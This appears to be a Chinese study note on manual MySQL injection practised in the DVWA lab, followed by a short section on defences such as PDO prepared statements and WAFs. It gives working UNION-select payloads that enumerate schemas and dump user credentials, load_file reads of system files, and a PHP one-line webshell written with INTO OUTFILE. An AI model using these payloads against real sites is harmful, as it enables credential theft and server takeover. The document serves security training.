1.mysql4与5区别
MySQL 4版本数据库由于存在着字符转义与不支持字句查询的情况,因此在注入攻击上存在着很大的局限性,只能采用类似Access的方法进行查询猜解。首先,利用order by获得当前表的字段数,再使用union select联合查询来获取想要的数据库信息。使用union select联合查询数据库时,由于不知道数据库中的表名与字段名,因此只能像Access一样直接用常见表名和字段名进行猜测判断。
MySQL 5版本由于information_schema库的存在,注入攻击相对来说方便了许多
通过load_file()函数来读取脚本代码或系统敏感文件内容,进行漏洞分析或直接获取数据库连接账号、密码。通过dumpfile/outfile函数导出获取WebShell。
高版本information_schema库可以获取任意表名,字段名,低版本只能拆解表名和字段名,高版本函数和功能更加强大,information_schema是默认库。
2.mysql用户名密码存储位置
数据库最高权限用户是root 密码保存在mysql数据库的user表中,密码是采用mysql5特有的加密,通过cmd5网站进行解密或通过cain等这类专业可以对mysql hash破解.所以对数据库做安全的时候无论如何不能给网站root 权限,一定要给一个普通用户权限。
3.mysql注入语句(手工注入)
-
进入dvwa
选择低版
-
一些基本语句
检查注入点' 与and 1=1 and 1=2
'order by 1,2--+&Submit=Submit#
1,2是正常
要加一个单引号,不然不报错
'union select user(),version()--+&Submit=Submit# 查看数据库用户名和版本、库名(dvwa)
'union select 1,group_concat(schema_name) from information_schema.schemata+--+&Submit=Submit 获取mysql所有库
数据库
所有数据库
'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()+--+&Submit=Submit 获取dwva表名
在图形化界面里面: information_schema数据库的table 表里的table_schema等于dvwa
'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+&Submit=Submit
获取所有user表里面的字段
table_name=0x7573657273 不转成十六进制也可以table_name="users"
将字段解密
union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) from users+--+&Submit=Submit 获取所有字段内容users表为dvwa的表
表里的数据
-
对服务器文件进行读写操作(前提条件)
1.要知道远程web目录
2.需要mysql root权限
3.需要远程目录有写权限
4.需要数据库开启secure_file_priv 相当于secure_file_priv的值为空,不为空不充许写入webshell (默认不开启,需要修改mysql.ini配置文件)
- 获取web路径的方法
%27%20union%20select%201,load_file(0x433A5C5C57494E444F57535C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C)+--+&Submit=Submit 路径记得转化为十六进制
IIS所有文件的路径
复制 一下
ctrl+F
-
服务器读取文件
union%20select%201,load_file(%27c:\\boot.ini%27)+--+
去掉这个勾
-
写webshell获取权限
union select "<?php @eval($_POST['123']);?>",2 into outfile "c:\\phpstudy\\www\\123.php"+--+&Submit=Submit 一句话木马
菜刀 添加
双击进入对方电脑
4.注入防御
-
函数过滤
将文件名改为函数
-
直接下载相关的防范注入文件,通过incloud包含放在网站配置文件里面
将这个文件放入虚拟机里面
将waf放入
在这个文件里加上这句话
显示这个页面
waf 没有IUSR权限
输入and 1=1
-
PDO预处理
从PHP 5.1开始,PHP可以通过PDO的prepare预处理函数执行sql语句
具体使用语法:http://www.php.cn/course/868.html
没有进行PDO预处理的SQL,在输入SQL语句进行执行的时候,web服务器自己拼凑SQL的时候有可能会把危险的SQL语句拼凑进去。但如果进行了PDO预处理的SQL,会让MYSQL自己进行拼凑,就算夹带了危险的SQL语句,也不会进行处理只会当成参数传进去,而不是以拼接进SQL语句传进去,从而防止了SQL注入。
-
使用白名单来规范化输入验证方法
-
使用 Waf 拦截
5.二次注入
本身没有漏洞,使用不安全的函数构造出一个单引号